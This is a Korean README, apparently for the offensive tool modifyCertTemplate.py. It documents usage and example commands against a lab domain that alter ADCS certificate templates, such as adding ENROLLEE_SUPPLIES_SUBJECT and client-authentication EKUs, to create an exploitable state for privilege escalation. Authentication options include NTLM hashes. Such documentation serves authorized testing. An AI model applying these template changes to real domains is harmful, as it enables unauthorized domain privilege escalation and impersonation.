
ADCS 인증서 템플릿 수정 및 ACL 열거
이 도구는 운영자가 ADCS 인증서 템플릿을 수정하여 생성된 취약 상태를 권한 상승에 활용할 수 있도록 지원하고, 이후 템플릿을 이전 상태로 재설정하기 위해 설계되었습니다. 이는 특히 템플릿에 대한 WriteProperty 권한이 침해되었지만, 연산자가 해당 권한이 적용되는 속성을 확신하지 못하는 시나리오를 위해 고안되었습니다. 이러한 시나리오에서 템플릿의 ACL을 쿼리하고 적용 가능한 ACE 정보를 속성 GUID와 교차 참조하여 수정 가능한 속성을 확인할 수 있습니다.
도구와 주제에 관한 관련 블로그 게시물.
usage: modifyCertTemplate.py [-h] -template template name [-property property name] [-value new value] [-get-acl] [-dn distinguished name] [-raw] [-add flag name] [-debug]
[-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-ldaps]
target
Modify the attributes of an Active Directory certificate template
positional arguments:
target [[domain/]username[:password]
optional arguments:
-h, --help show this help message and exit
-template template name
Name of the target certificate template
-property property name
Name of the target template property
-value new value Value to set the specified template property to
-get-acl Print the certificate's ACEs
-dn distinguished name
Explicitly set the distinguished name of the certificate template
-raw Output the raw certificate template attributes
-add flag name Add a flag to an attribute, maintaining the existing flags
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will
use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-ldaps Use LDAPS instead of LDAP
인증서 템플릿 쿼리 (모든 속성)
python3 modifyCertTemplate.py -template KerberosAuthentication ez.lab/administrator:pass
인증서 템플릿에서 단일 속성 쿼리
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
모든 템플릿 속성의 원시 값 쿼리
python3 modifyCertTemplate.py -template KerberosAuthentication -raw ez.lab/administrator:pass
인증서 템플릿의 ACL 쿼리
python3 modifyCertTemplate.py -template KerberosAuthentication -get-acl ez.lab/administrator:pass
인증서 템플릿과 관련이 없지만, 객체의 고유 이름(DN)을 제공하여 모든 객체의 ACL을 쿼리할 수 있습니다.
python3 modifyCertTemplate.py -dn "CN=ws1,CN=computers,DC=ez,DC=lab" -get-acl ez.lab/administrator:pass
템플릿의 msPKI-Certificate-Name-Flag 속성에 ENROLLEE_SUPPLIES_SUBJECT 플래그 추가
python3 modifyCertTemplate.py -template KerberosAuthentication -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag ez.lab/administrator:pass
인증서 템플릿 속성 값 업데이트 (목록이 아닌 속성)
python3 modifyCertTemplate.py -template KerberosAuthentication -property msPKI-Certificate-Name-Flag -value -150994944 ez.lab/administrator:pass
pKIExtendedKeyUsage 속성에 EKU 추가
python3 modifyCertTemplate.py -template KerberosAuthentication -add "client authentication" -property pKIExtendedKeyUsage ez.lab/administrator:pass
목록 형식 속성의 값 업데이트 (즉, pKIExtendedKeyUsage의 값을 명시적으로 설정)
python3 modifyCertTemplate.py -template KerberosAuthentication -value "'1.3.6.1.5.5.7.3.4', '1.3.6.1.5.5.7.3.2'" -property pKIExtendedKeyUsage ez.lab/administrator:pass